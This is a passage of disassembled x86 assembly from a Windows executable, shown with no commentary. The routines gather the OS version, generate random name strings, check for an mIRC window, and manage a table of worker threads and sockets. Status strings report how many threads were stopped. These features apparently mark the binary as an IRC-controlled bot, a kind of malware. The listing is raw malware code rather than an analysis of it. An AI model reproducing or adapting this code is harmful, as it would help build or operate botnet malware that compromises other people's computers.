		add	esp, 14h
		inc	esi
		cmp	esi, dword_425094
		jl	short loc_409FC1


loc_409FE7:				; CODE XREF: .nsp0:00409FBFj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43B9B8
		mov	dword ptr [ebp-94h], 94h
		call	dword_4230C8	; GetVersionExA
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40A071
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40A051
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40A041
		mov	esi, offset dword_4336E8


loc_40A041:				; CODE XREF: .nsp0:0040A03Aj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40A0AD
		mov	esi, offset dword_4336E4
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A051:				; CODE XREF: .nsp0:0040A031j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40A061
		mov	esi, offset dword_4336E0
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A061:				; CODE XREF: .nsp0:0040A058j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40A0A8
		mov	esi, offset dword_4336DC
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A071:				; CODE XREF: .nsp0:0040A028j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40A0A8
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40A08A
		mov	esi, offset dword_4336D8
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A08A:				; CODE XREF: .nsp0:0040A081j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40A09A
		mov	esi, offset aXp	; "XP"
		jmp	short loc_40A0AD
; ---------------------------------------------------------------------------


loc_40A09A:				; CODE XREF: .nsp0:0040A091j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_4336D4
		jz	short loc_40A0AD


loc_40A0A8:				; CODE XREF: .nsp0:0040A068j
					; .nsp0:0040A078j
		mov	esi, offset dword_4336D0


loc_40A0AD:				; CODE XREF: .nsp0:0040A048j
					; .nsp0:0040A04Fj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4336C8
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425094, esi
		jle	short loc_40A0F1


loc_40A0CB:				; CODE XREF: .nsp0:0040A0EFj
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCC4
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425094
		jl	short loc_40A0CB


loc_40A0F1:				; CODE XREF: .nsp0:0040A0C9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A0F7	proc near		; CODE XREF: sub_40A19A+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4230A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40A146
		call	dword_4C980C	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4336F4
		jnz	short loc_40A12F
		mov	eax, offset byte_43B9B8


loc_40A12F:				; CODE XREF: sub_40A0F7+31j
		push	eax
		push	esi
		push	offset dword_4336EC
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_417E90
		add	esp, 14h
		jmp	short loc_40A166
; ---------------------------------------------------------------------------


loc_40A146:				; CODE XREF: sub_40A0F7+22j
		call	dword_4C980C	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_4336F4
		jnz	short loc_40A15A
		mov	eax, offset byte_43B9B8


loc_40A15A:				; CODE XREF: sub_40A0F7+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_40A166:				; CODE XREF: sub_40A0F7+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4176F0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40A195
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4186E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		add	esp, 18h


loc_40A195:				; CODE XREF: sub_40A0F7+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40A0F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A19A	proc near		; CODE XREF: sub_4017E7+7Fp
					; sub_40194F+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42F9FC


loc_40A1A6:				; CODE XREF: sub_40A19A+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40A1C1
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_418570
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A1CB
; ---------------------------------------------------------------------------


loc_40A1C1:				; CODE XREF: sub_40A19A+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40A1CB:				; CODE XREF: sub_40A19A+25j
		test	eax, eax
		jnz	short loc_40A1DD
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42FA74
		jl	short loc_40A1A6
		jmp	short loc_40A1EB
; ---------------------------------------------------------------------------


loc_40A1DD:				; CODE XREF: sub_40A19A+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42FA00[eax*4]
		pop	ecx


loc_40A1EB:				; CODE XREF: sub_40A19A+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40A1FE
		push	[ebp+arg_0]
		call	sub_40A0F7
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A1FE:				; CODE XREF: sub_40A19A+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40A19A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A203	proc near		; CODE XREF: sub_401221+375p
					; sub_401221+3B1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43C540


loc_40A20B:				; CODE XREF: sub_40A203+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40A21F
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4C9540
		jl	short loc_40A20B
		jmp	short loc_40A26A
; ---------------------------------------------------------------------------


loc_40A21F:				; CODE XREF: sub_40A203+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43C540[esi]
		push	eax
		call	sub_417B00
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43C740[esi], eax
		and	dword_43C744[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43C748[esi], 0
		mov	dword_43C74C[esi], eax
		and	byte_43C758[esi], 0
		pop	esi


loc_40A26A:				; CODE XREF: sub_40A203+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40A203	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A26E	proc near		; DATA XREF: sub_401AC7+24DEo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40A2C0
		push	[ebp+var_14]
		call	sub_40A51F
		add	esp, 14h
		push	0
		call	dword_4230CC	; ExitThread
		pop	edi
		pop	esi
sub_40A26E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2C0	proc near		; CODE XREF: sub_40A26E+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_4337F4
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43C540


loc_40A2EA:				; CODE XREF: sub_40A2C0+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40A32B
		cmp	[ebp+arg_C], 0
		jnz	short loc_40A2FE
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40A32B


loc_40A2FE:				; CODE XREF: sub_40A2C0+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 24h


loc_40A32B:				; CODE XREF: sub_40A2C0+2Dj
					; sub_40A2C0+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C9540
		jl	short loc_40A2EA
		pop	edi
		pop	esi
		leave
		retn
sub_40A2C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A33E	proc near		; CODE XREF: sub_401AC7+6DB0p
					; sub_40A3CC+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40A3C6
		cmp	esi, 400h
		jge	short loc_40A3C6
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43C754[esi]
		lea	edi, dword_43C754[esi]
		call	dword_4230AC	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40A376
		push	1
		pop	ebp


loc_40A376:				; CODE XREF: sub_40A33E+33j
		mov	[edi], ebx
		lea	edi, dword_43C748[esi]
		mov	dword_43C740[esi], ebx
		mov	dword_43C744[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40A397
		push	eax
		call	sub_416A27
		pop	ecx


loc_40A397:				; CODE XREF: sub_40A33E+50j
		mov	[edi], ebx
		lea	edi, dword_43C74C[esi]
		mov	byte ptr dword_43C540[esi], bl
		mov	byte_43C758[esi], bl
		push	dword ptr [edi]
		call	dword_4C9894	; closesocket
		lea	esi, dword_43C750[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4C9894	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40A3C6:				; CODE XREF: sub_40A33E+Dj
					; sub_40A33E+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A3CC	proc near		; CODE XREF: sub_40111D+18p
					; sub_401221:loc_4017D3p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43C540


loc_40A3D8:				; CODE XREF: sub_40A3CC+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40A3E9
		push	edi
		call	sub_40A33E
		test	eax, eax
		pop	ecx
		jz	short loc_40A3E9
		inc	ebx


loc_40A3E9:				; CODE XREF: sub_40A3CC+Fj
					; sub_40A3CC+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C9540
		jl	short loc_40A3D8
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40A3CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A3FE	proc near		; CODE XREF: sub_401AC7+3B8Ep
					; sub_401AC7+3C63p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43C744


loc_40A412:				; CODE XREF: sub_40A3FE+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40A434
		test	edi, edi
		jle	short loc_40A426
		cmp	[esi], edi
		jz	short loc_40A426
		cmp	ebx, edi
		jnz	short loc_40A434


loc_40A426:				; CODE XREF: sub_40A3FE+1Ej
					; sub_40A3FE+22j
		push	ebx
		call	sub_40A33E
		test	eax, eax
		pop	ecx
		jz	short loc_40A434
		inc	[ebp+var_4]


loc_40A434:				; CODE XREF: sub_40A3FE+1Aj
					; sub_40A3FE+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4C9744
		jl	short loc_40A412
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A3FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A44B	proc near		; CODE XREF: sub_401221+409p
					; sub_401AC7+18A2p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43C740


loc_40A452:				; CODE XREF: sub_40A44B+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40A45B
		inc	eax


loc_40A45B:				; CODE XREF: sub_40A44B+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4C9740
		jl	short loc_40A452
		retn
sub_40A44B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A46A	proc near		; CODE XREF: sub_401AC7+1F83p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43C740


loc_40A474:				; CODE XREF: sub_40A46A+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40A48D
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4C9740
		jl	short loc_40A474
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A48D:				; CODE XREF: sub_40A46A+10j
		mov	eax, edx
		pop	esi
		retn
sub_40A46A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A491	proc near		; CODE XREF: sub_401AC7+D4Ap
					; sub_401AC7+F50p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40A4AA
		push	[ebp+arg_1C]
		call	sub_417C89
		pop	ecx


loc_40A4AA:				; CODE XREF: sub_40A491+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40A3FE
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40A4D6
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	short loc_40A4F0
; ---------------------------------------------------------------------------


loc_40A4D6:				; CODE XREF: sub_40A491+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_417D96
		add	esp, 10h


loc_40A4F0:				; CODE XREF: sub_40A491+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40A510
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_40A510:				; CODE XREF: sub_40A491+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		pop	ecx
		leave
		retn
sub_40A491	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A51F	proc near		; CODE XREF: sub_4017E7+159p
					; sub_40A26E+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43C754[eax], ecx
		mov	dword_43C740[eax], ecx
		mov	dword_43C744[eax], ecx
		mov	dword_43C748[eax], ecx
		mov	dword_43C74C[eax], ecx
		mov	dword_43C750[eax], ecx
		mov	byte ptr dword_43C540[eax], cl
		mov	byte_43C758[eax], cl
		retn
sub_40A51F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A55C	proc near		; CODE XREF: sub_401AC7+703Bp
					; sub_40A68A+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40A566:				; CODE XREF: sub_40A55C+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40A5C6
		cmp	eax, 1
		jnz	short loc_40A5C6
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40A5C6
		cmp	cl, 2Ah
		jz	short loc_40A5AD
		cmp	cl, 3Fh
		jz	short loc_40A590
		cmp	cl, 5Bh
		jz	short loc_40A595
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40A590:				; CODE XREF: sub_40A55C+26j
		inc	[ebp+arg_4]
		jmp	short loc_40A5C0
; ---------------------------------------------------------------------------


loc_40A595:				; CODE XREF: sub_40A55C+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40A5F2
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40A5C0
; ---------------------------------------------------------------------------


loc_40A5AD:				; CODE XREF: sub_40A55C+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40A68A
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40A5C0:				; CODE XREF: sub_40A55C+37j
					; sub_40A55C+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40A566
; ---------------------------------------------------------------------------


loc_40A5C6:				; CODE XREF: sub_40A55C+Ej
					; sub_40A55C+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40A5D6
		cmp	eax, 1
		jnz	short loc_40A5ED
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40A5C6
; ---------------------------------------------------------------------------


loc_40A5D6:				; CODE XREF: sub_40A55C+6Dj
		cmp	eax, 1
		jnz	short loc_40A5ED
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40A5ED
		cmp	byte ptr [esi],	0
		jnz	short loc_40A5ED
		push	1
		pop	eax
		jmp	short loc_40A5EF
; ---------------------------------------------------------------------------


loc_40A5ED:				; CODE XREF: sub_40A55C+72j
					; sub_40A55C+7Dj ...
		xor	eax, eax


loc_40A5EF:				; CODE XREF: sub_40A55C+8Fj
		pop	esi
		pop	ebp
		retn
sub_40A55C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5F2	proc near		; CODE XREF: sub_40A55C+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40A613
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40A613:				; CODE XREF: sub_40A5F2+19j
		push	ebx
		push	esi


loc_40A615:				; CODE XREF: sub_40A5F2+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40A623
		cmp	[ebp+var_4], eax
		jnz	short loc_40A66F


loc_40A623:				; CODE XREF: sub_40A5F2+2Aj
		test	edi, edi
		jnz	short loc_40A664
		cmp	bl, 2Dh
		jnz	short loc_40A658
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40A658
		cmp	al, 5Dh
		jz	short loc_40A658
		cmp	[ebp+var_4], edi
		jnz	short loc_40A658
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40A664
		cmp	bl, al
		jg	short loc_40A664
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40A664
; ---------------------------------------------------------------------------


loc_40A658:				; CODE XREF: sub_40A5F2+38j
					; sub_40A5F2+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40A664
		push	1
		pop	edi


loc_40A664:				; CODE XREF: sub_40A5F2+33j
					; sub_40A5F2+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40A615
; ---------------------------------------------------------------------------


loc_40A66F:				; CODE XREF: sub_40A5F2+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40A67C
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40A67C:				; CODE XREF: sub_40A5F2+82j
		cmp	edi, eax
		jnz	short loc_40A685
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40A685:				; CODE XREF: sub_40A5F2+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40A5F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A68A	proc near		; CODE XREF: sub_40A55C+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40A6A6:				; CODE XREF: sub_40A68A+3Aj
		cmp	[eax], bl
		jz	short loc_40A6C6
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40A6BB
		cmp	cl, 2Ah
		jnz	short loc_40A6C6
		cmp	cl, 3Fh
		jnz	short loc_40A6BE


loc_40A6BB:				; CODE XREF: sub_40A68A+25j
		inc	eax
		mov	[edi], eax


loc_40A6BE:				; CODE XREF: sub_40A68A+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40A6A6
; ---------------------------------------------------------------------------


loc_40A6C6:				; CODE XREF: sub_40A68A+1Ej
					; sub_40A68A+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40A6D1
		inc	dword ptr [esi]
		jmp	short loc_40A6C6
; ---------------------------------------------------------------------------


loc_40A6D1:				; CODE XREF: sub_40A68A+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40A6F2
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40A6E3
		xor	eax, eax
		jmp	short loc_40A752
; ---------------------------------------------------------------------------


loc_40A6E3:				; CODE XREF: sub_40A68A+53j
		cmp	cl, bl
		jnz	short loc_40A6F2
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40A6F2
		push	1
		pop	eax
		jmp	short loc_40A752
; ---------------------------------------------------------------------------


loc_40A6F2:				; CODE XREF: sub_40A68A+4Dj
					; sub_40A68A+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40A55C
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40A73C


loc_40A700:				; CODE XREF: sub_40A68A+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40A704:				; CODE XREF: sub_40A68A+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40A71C
		cmp	cl, 5Bh
		jz	short loc_40A71C
		cmp	dl, bl
		jz	short loc_40A71C
		inc	eax
		mov	[edi], eax
		jmp	short loc_40A704
; ---------------------------------------------------------------------------


loc_40A71C:				; CODE XREF: sub_40A68A+82j
					; sub_40A68A+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40A733
		push	eax
		push	dword ptr [esi]
		call	sub_40A55C
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40A738
; ---------------------------------------------------------------------------


loc_40A733:				; CODE XREF: sub_40A68A+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40A738:				; CODE XREF: sub_40A68A+A7j
		cmp	eax, ebx
		jnz	short loc_40A700


loc_40A73C:				; CODE XREF: sub_40A68A+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40A74F
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40A74F
		mov	[ebp+var_4], 1


loc_40A74F:				; CODE XREF: sub_40A68A+B6j
					; sub_40A68A+BCj
		mov	eax, [ebp+var_4]


loc_40A752:				; CODE XREF: sub_40A68A+57j
					; sub_40A68A+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A68A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A757	proc near		; CODE XREF: sub_401AC7+2683p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_433C0C
		push	eax
		xor	ebx, ebx
		call	sub_417D96
		cmp	dword_433870, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40A7C9
		push	esi
		mov	esi, offset dword_433878


loc_40A78A:				; CODE XREF: sub_40A757+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40A7BF
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_433C00
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4186E0
		add	esp, 1Ch


loc_40A7BF:				; CODE XREF: sub_40A757+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40A78A
		pop	esi


loc_40A7C9:				; CODE XREF: sub_40A757+2Bj
		push	dword_4C9544
		call	sub_417249
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4186E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40A757	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A825	proc near		; CODE XREF: sub_401AC7+266Dp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CC308
		mov	ecx, dword_4CC304
		push	esi
		push	dword_4C9544
		lea	esi, [ecx+eax]
		call	sub_417249
		push	eax
		push	esi
		push	dword_4CC308
		lea	eax, [ebp+var_200]
		push	dword_4CC304
		push	offset unk_433C2C
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		add	esp, 34h
		pop	esi
		leave
		retn
sub_40A825	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A890	proc near		; CODE XREF: sub_401AC7+2657p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4C9544
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CC54C
